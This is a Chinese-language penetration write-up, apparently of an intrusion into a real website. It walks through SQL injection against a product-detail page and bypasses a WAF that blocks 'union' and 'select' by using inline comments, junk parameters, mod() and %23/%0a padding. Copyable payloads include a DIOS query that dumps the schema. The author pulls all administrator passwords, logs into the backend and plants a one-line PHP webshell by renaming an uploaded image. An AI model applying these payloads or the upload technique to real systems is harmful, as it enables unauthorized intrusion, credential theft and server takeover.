0x01 注入環節

目標加單引號報錯,然后加閉合-- -返回正常,確認存在注入

OK,第一步判斷注入完成,然后我們order by 查看有多少個字段

發現鏈接被重置某不知名WAF,我們這里第一手先嘗試一手內聯注入看是否能繞過order by檢測

測試發現內聯確實能繞過order by 的檢測,payload

/!order/ /!by/ 10-- -

/!order/ /!by/ 18,18報錯,17正常回顯,這里確定有17個字段,然后我們進行union select

經測試發現內聯無法繞過union select,這個站強制攔截 union 和 select關鍵字

這里發現就算把union注釋了也會被攔截

這個確實是比較麻煩,他強制攔截這兩個關鍵字,給我們注入帶來了非常多的麻煩,然后這里經過我的測試構造出了一種辦法來繞過他這個WAF的限制

第一種辦法利用 and mod(35,12) 取基數和偶數的辦法來讓WAF的攔截變弱,然后再加上臟數據繞過

現在我們來復現第一種辦法繞過此WAF

這里發現構造 and mod 還是會被攔截,然后我們這里繼續構造一波垃圾參數加 and mod 來繞過他對union的攔截強度

什么是垃圾參數呢?這里給大家講一下當我們在url中輸入:http://www.0day.team//index.php?s=a select,那么頁面會顯示危險請求,但是當我們輸入http://www.0day.team//index.php?aaa=a select頁面則不作任何響應。

因為服務器端的腳本并沒有接收aaa參數他認為我們的語句已經被注釋掉了,所以會給我們放行,而實際上a、aaa都是垃圾參數并沒有被我們的動態腳本所處理,所以也不會影響程序功能

現在我們來實際操作一波這個攔截力度比較強的WAF

這樣去構造垃圾參數可以看到頁面是正常訪問的,然后我們在 id=10 哪里正常輸入我們的sql語句就行了

payload:

detail.php?asdasdasdasd/*&id=10' and mod (35,12) union &asdasdas=1*/

這里可以發現已經不攔截union了,可是這里比較雞肋,你把union和select連起來他會進行攔截,這時候我們用構造臟數據的方法來進行繞過他的連接限制。

利用%23注釋在里面添加臟數據,然后利用%0a進行換行操作,這樣就可以成功繞過他這個WAF了

payload:

detail.php?asdasdasdasd/*&id=10' and mod (35,12) union%23aasadasdassdasdasdasdasdasdasdasdasdasdasdasaasadasdassdasdasdasdasdasdasdasdasdasdasdasaasadasdassdasdasdasdasdasdasdasdasdasdasdasaasadasdassdasdasdasdasdasdasdasdasdasdasdasaasadasdassdasdasdasdasdasdasdasdasdasdasdasaasadasdassdasdasdasdasdasdasdasdasdasdasdasaasadasdassdasdasdasdasdasdasdasdasdasdasdas%0aselect &asdasdas=1*/

可以發現現在已經成功的繞過了union select,OK,現在我們來繼續操作

成功的到回顯位6

payload:

detail.php?asdasdasdasd/*&id=.10' and mod (35,12) union%23aasadasdassdasdasdasdasdasdasdasdasdasdasdasaasadasdassdasdasdasdasdasdasdasdasdasdasdasaasadasdassdasdasdasdasdasdasdasdasdasdasdasaasadasdassdasdasdasdasdasdasdasdasdasdasdasaasadasdassdasdasdasdasdasdasdasdasdasdasdasaasadasdassdasdasdasdasdasdasdasdasdasdasdasaasadasdassdasdasdasdasdasdasdasdasdasdasdas%0aselect 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17-- -&asdasdas=1*/

OK,然后我們繼續來操作 database() 獲取當前數據庫

可以發現數據庫已經出來,然后我們現在在來獲取表

現在可以發現表名已經出來了,還發現一個事情就是這個WAF好像只攔截union和select關鍵字,這兩個關鍵字有點難繞,其他的都不攔截。

可惜可惜,不然還可以在操作一波,然后回到正題,我們可以發現這個表實在是太多了,我懶的一個一個找,我這里直接構造一個爆表爆列的dios進行注入就行了

payload:

detail.php?asdasdasdasd/*&id=.10' and mod (35,12) union%23aasadasdassdasdasdasdasdasdasdasdasdasdasdasaasadasdassdasdasdasdasdasdasdasdasdasdasdasaasadasdassdasdasdasdasdasdasdasdasdasdasdasaasadasdassdasdasdasdasdasdasdasdasdasdasdasaasadasdassdasdasdasdasdasdasdasdasdasdasdasaasadasdassdasdasdasdasdasdasdasdasdasdasdasaasadasdassdasdasdasdasdasdasdasdasdasdasdas%0aselect 1,2,3,4,5,concat((select @rui from(select (@rui:=0x00),(select @rui from information_schema.columns where table_schema=database() and @rui in(@rui:=concat(@rui,table_name,0x2d2d3e,column_name,0x3c62723e))))rui)),7,8,9,10,11,12,13,14,15,16,17-- -&asdasdas=1*/

這個是dios的效果,然后我們這里直接搜索password關鍵字,拿到后臺賬號密碼就行了

已經找到了目標后臺的賬號密碼表和列接下來直接注數據就行了

可以看到所有的管理員用戶密碼我們已經拿到了,接下來就進入找后臺和拿shell環節

谷歌語法搜索發現目標管理后臺,接下來我們進行登錄嘗試

利用剛才注入出來的數據成功登錄到了目標后臺

0x02 拿shell環節

接下來我們尋找上傳點拿下目標shell

這一處發現利用burp抓包修改jpg后輟能導致任意上傳,下面我們來實戰進行測試

上傳成功后發現php里面的內容被強制轉換成圖片了,這里發現比較雞肋就沒有跟深一步研究,然后開始重新找其他上傳點

然后發現檔案管理這里可以任意改文件名,我在這里上傳了一個圖片格式的一句話,然后改后綴為php,成功拿下目標shell

蟻劍鏈接圖